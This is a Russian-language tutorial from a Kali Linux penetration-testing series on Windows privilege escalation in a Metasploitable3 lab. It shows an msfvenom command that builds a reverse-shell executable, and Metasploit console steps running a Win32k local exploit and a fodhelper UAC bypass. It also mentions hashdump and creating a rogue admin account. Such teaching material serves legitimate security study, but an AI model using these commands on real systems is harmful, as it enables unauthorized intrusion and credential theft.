#102 Kali Linux для продвинутого тестирования на проникновение. Повышение привилегий. Эскалация от пользователя домена до системного администратора.
Здравствуйте, дорогие друзья.
Повышение привилегий — это процесс перехода от относительно низкого уровня прав доступа к получению привилегий администратора, системы или даже более высоких привилегий доступа. Это позволяет тестировщику на проникновение контролировать все аспекты работы системы. Что еще более важно, получение некоторых привилегий доступа позволит тестировщикам контролировать все системы в сети. Поскольку уязвимости становится все труднее находить и использовать, было проведено значительное количество исследований по повышению привилегий как средству обеспечения успешного теста на проникновение.
В этом разделе мы рассмотрим следующие темы:
- Общая методология эскалации
- Эскалация локальной системы
- Внедрение DLL
- Сбор учетных данных путем анализа и эскалации
- Атака по «золотому билету» на Kerberos
- Права доступа Active Directory
Обзор общей методологии эскалации
Все, что начинается с методологии, предполагает подход к решению проблемы. В этом разделе мы рассмотрим распространенную методологию эскалации, используемую злоумышленниками во время учений «красной команды» или тестирования на проникновение.
На рисунке ниже изображена методология, которую можно использовать:
В соответствии с методологией cyber kill chain, действия, предпринятые для достижения цели, включают повышение привилегий для сохранения устойчивости к целевой среде. Ниже приведены типы учетных записей пользователей, которые можно найти в любой целевой системе:
- Обычный пользователь: типичный доступ через бэкдор, выполняемый на уровне пользователя, запускающего бэкдор. Это обычные пользователи системы (Windows или Unix), либо локальные пользователи, либо пользователи домена с ограниченным доступом к системе для выполнения только тех задач, которые им разрешены.
- Локальный администратор. Локальные администраторы — это владельцы системных учетных записей, которые имеют право вносить изменения в конфигурацию системы.
- Делегированный администратор. Делегированные администраторы — это локальные учетные записи пользователей с правами администратора. Примеры операторов учетных записей или операторов резервного копирования — это типичные группы, используемые в средах Active Directory для делегирования административных задач.
- Администратор домена. Администраторы домена — это пользователи, которые могут администрировать домены, членами которых они являются.
- Администратор предприятия. Администраторы предприятия — это учетные записи, которые имеют наибольшие привилегии для обслуживания всего леса в Active Directory.
- Администратор схемы. Администраторы схемы — это пользователи, которые могут настраивать схему леса.
Причина, по которой администраторы схемы не включены в число наиболее привилегированных учетных записей, заключается в том, что злоумышленники не могут добавлять пользователей в какие-либо другие группы: это ограничит уровень доступа изменением леса Active Directory.
Эскалация от пользователя домена до системного администратора
В большинстве случаев злоумышленники, выполняющие атаки на уровне консоли или атаки социальной инженерии, могут получить доступ к обычному пользователю домена, который не является локальным администратором, что оставляет им доступ только к ограниченному уровню привилегий. Это можно обойти и использовать для получения доступа на системном уровне к машине-жертве без необходимости быть локальным администратором. Мы будем использовать Windows 2008 Metasploitable3 для локального повышения привилегий. Ниже приведены шаги, необходимые для выполнения атаки:
- Создайте исполняемый файл с полезной нагрузкой, используя msfvenom, запустив:
sudo msfvenom –p windows/meterpreter/reverse_tcp LHOST= LPORT=<Номер порта> -f exe –o output.exe
. от терминала Кали. - Войдите в Metasploitable3, используя учетную запись обычного пользователя с паролем, который мы создали в разделе 1 «Целевое тестирование на проникновение». Загрузите файл в цель либо через общий файловый ресурс, либо просто запустив простой HTTP-сервер с использованием
Python (python3 -m http.server <номер пользовательского порта>)
. - Как только файл окажется в цели, выполнение файла от имени обычного пользователя должно обеспечить обратную оболочку в Kali Linux. Убедитесь, что вы запустили прослушиватель Metasploit до выполнения полезной нагрузки.
- Когда злоумышленники первоначально получают доступ к системе с использованием обычного пользователя и пытаются выполнить команды системного уровня, Вы получите ответ: доступ запрещен или отсутствуют привилегии для запуска команд в целевой системе.
- В этом можно убедиться, выполнив команду getsystem из консоли Meterpreter, как показано на рисунке ниже:
- Мы исследуем эту локальную уязвимость, которая существует в более старых версиях Windows, таких как Windows 2008/7. Мы будем использовать последний локальный эксплойт ms18_8120_win32k_privesc, использующий компонент Win32k, который не обрабатывает свойства объекта в памяти. Вы можете переместить существующий сеанс Meterpreter в фоновый режим, чтобы использовать модули после эксплойта, выполнив следующие действия:
1 2 3 4 5 6 |
meterpreter > background [] Backgrounding session 1… msf6 exploit(multi/handler) > use exploit/windows/local/ms18_8120_ win32k_privesc [] No payload configured, defaulting to windows/meterpreter/ reverse_tcp msf6 exploit(windows/local/ms18_8120_win32k_privesc) > set session 1 session => 1 msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit |
- Успешная эксплуатация уязвимости должна открыть другую оболочку с высоким уровнем привилегий, как показано на рисунке ниже:
8. Теперь новый сеанс должен предоставить Вам доступ к системному уровню как NT AUTHORITY\SYSTEM, что позволит злоумышленникам создать локального пользователя уровня администратора, как показано на рисунке ниже, и перемещаться в горизонтальном направлении, извлекая хеш-дампы с помощью команды hashdump из оболочки Meterpreter или включите RDP и войдите в систему под новой учетной записью администратора:
Эскалация локальной системы
В Windows 10 мы можем использовать другой метод для обхода существующих привилегий. Одним из недостатков этой атаки является то, что для получения доступа на уровне системы, затронутый локальный пользователь должен быть частью группы локальных администраторов.
Злоумышленники смогут запускать оболочку Meterpreter только в контексте пользователя. Чтобы обойти это ограничение, мы можем использовать несколько модулей пост-эксплойта. Мы отправим фоновую команду в нашу оболочку Meterpreter для запуска модуля пост-эксплойта. В этом примере мы будем использовать пост-эксплойтный модуль bypassuac_fodhelper, как показано на рисунке ниже:
1 2 3 4 5 |
meterpreter > background [*] Backgrounding session 1… msf exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper msf exploit(multi/handler) > set session 1 msf exploit(multi/handler) > exploit |
Модуль bypassuac_fodhelper в оболочке Meterpreter будет использовать существующий сеанс для предоставления более привилегированной оболочки Meterpreter, как показано на рисунке ниже:
Мы успешно запустили локальный эксплойт, чтобы получить привилегии уровня СИСТЕМЫ от пользователя с низким уровнем привилегий. В следующем разделе мы будем использовать пользователя с правами локального администратора, чтобы повысить его до пользователя системного уровня.
На этом все. Всем хорошего дня!
Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.